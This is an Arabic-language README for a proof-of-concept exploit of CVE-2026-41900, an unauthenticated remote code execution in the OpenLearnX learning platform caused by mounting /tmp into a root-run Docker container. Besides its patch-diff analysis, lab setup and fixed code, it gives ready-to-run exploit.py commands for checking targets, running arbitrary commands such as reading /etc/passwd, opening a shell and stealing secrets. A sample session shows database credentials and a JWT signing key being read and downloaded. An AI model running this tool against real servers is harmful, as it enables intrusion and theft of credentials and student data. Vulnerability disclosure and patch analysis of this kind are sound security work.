
إثبات مفهوم لاستغلال CVE-2026-41900، وهو تنفيذ كود عن بُعد غير مصادق عليه في OpenLearnX عبر تركيب وحدة تخزين الحاوية، مما يتيح كشف /tmp وتنفيذ الأوامر.
| الخاصية | القيمة |
|---|
| الاسم | OpenLearnX-RCE |
| CVE | CVE-2026-41900 |
| GHSA | GHSA-8h25-q488-4hxw |
| النوع | كشف معلومات غير مصادق عليه / تنفيذ أكواد عن بُعد |
| المتأثر | OpenLearnX < commit 14765d7 |
| المُصلَح | Commit 14765d7 (real_compiler_service) |
| CVSS | 8.6 (عالٍ) |
| CWE | CWE-538, CWE-377, CWE-250 |
OSDC (خط أنابيب استخبارات التصحيحات الآلي الخاص بي) رصد إعلانًا صامتًا على OpenLearnX — GHSA-8h25-q488-4hxw نُشر دون أي تفاصيل تقنية. سحبت commit الإصلاح (14765d7) وقارنته بـ commit الأصلي (d19c4e4).
الفروقات كشفت القصة كاملة: execute_in_container() في backend/routes/coding.py تم تجريده واستبداله بـ real_compiler_service محصّن. الكود القديم كان يكتب كود المستخدم إلى ملف مؤقت، ثم يركّب os.path.dirname(temp_file) — والذي يُحل إلى /tmp — داخل حاوية Docker شقيقة كوحدة تخزين للقراءة فقط. بدون user=، بدون cap_drop، بدون security_opt. يعمل كجذر (root) افتراضيًا.
النقطة الحاسمة: مخطط compiler في /api/compiler/execute لا يحتوي على أي مُزيّن مصادقة. أي طلب غير مصادق عليه يمكنه تشغيل تنفيذ الأكواد عبر إعداد الحاوية الضعيف.
عزلت الكود قبل التصحيح في مختبر محلي، وأكدت جميع المتجهات، وكتبت هذا الـ PoC.
POST /api/compiler/execute (بدون مصادقة)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ يُحل إلى /tmp → يتم تركيب /tmp بالكامل داخل الحاوية
│
├─ بدون user= → يعمل كجذر (UID 0)
├─ بدون cap_drop → صلاحيات Docker الافتراضية
├─ بدون security_opt → ملف seccomp الافتراضي
│
└─ المهاجم يقرأ: الأسرار، بيانات الاعتماد، مفاتيح JWT، طلبات المستخدمين الآخرين
| الأداة | الخطورة | CWE | الوصف |
|---|---|---|---|
listing | عالية | CWE-538 | عرض قائمة الدليل /tmp عبر تركيب وحدة التخزين |
secrets | حرجة | CWE-538 | قراءة بيانات الاعتماد والمفاتيح والإعدادات من /tmp |
submissions | عالية | CWE-538 | قراءة طلبات الأكواد لطلاب آخرين |
rootcheck | متوسطة | CWE-250 | تأكيد التنفيذ بصلاحيات UID 0 (جذر) |
caps | متوسطة | CWE-250 | تفريغ صلاحيات Linux الفعالة |
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# لا توجد تبعيات — المكتبة القياسية فقط
chmod +x exploit.py
# التحقق مما إذا كان الهدف ضعيفًا
python3 exploit.py --check http://target:5000
# تشغيل جميع الأدوات + إنشاء ملف JSON للأدلة
python3 exploit.py --exploit http://target:5000
# تنفيذ أمر واحد
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# الدخول إلى قشرة تفاعلية
python3 exploit.py --shell http://target:5000
# تشغيل أدوات محددة
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
بمجرد الدخول إلى --shell، تحصل على قشرة شبه تفاعلية. كل أمر يُنشئ حاوية مؤقتة جديدة.
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] تم تنزيل jwt_signing_key.pem (235B)
root@container:/app# exit
لإعادة الإنتاج محليًا:
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
ينشر المختبر تطبيق Flask داخل حاوية يعيد إنتاج execute_in_container() قبل التصحيح مع:
/tmp بين المضيف وحاوية التطبيقcommit 14765d7 استبدل execute_in_container() بـ real_compiler_service الذي يطبق:
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # مجلد مؤقت معزول لكل تنفيذ
cap_drop=["ALL"], # إسقاط جميع الصلاحيات
security_opt=["no-new-privileges:true"], # منع تصعيد الصلاحيات
user="65534:65534", # nobody، وليس root
...
)
| التاريخ | الحدث |
|---|---|
| 2026-04 | OSDC يرصد الإعلان الصامت GHSA-8h25-q488-4hxw |
| 2026-04 | تحليل الفروقات لـ commit 14765d7 مقابل d19c4e4 |
| 2026-05 | إعادة الإنتاج في المختبر وتطوير الـ PoC |
| 2026-05-06 | تأكيد الـ PoC الكامل — التحقق من جميع المتجهات الخمسة |
هذه الأداة مقدمة لأغراض الاختبار الأمني المصرح به والتعليم فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.
Christbowel · christbowel.com · فريق Balgo الأمني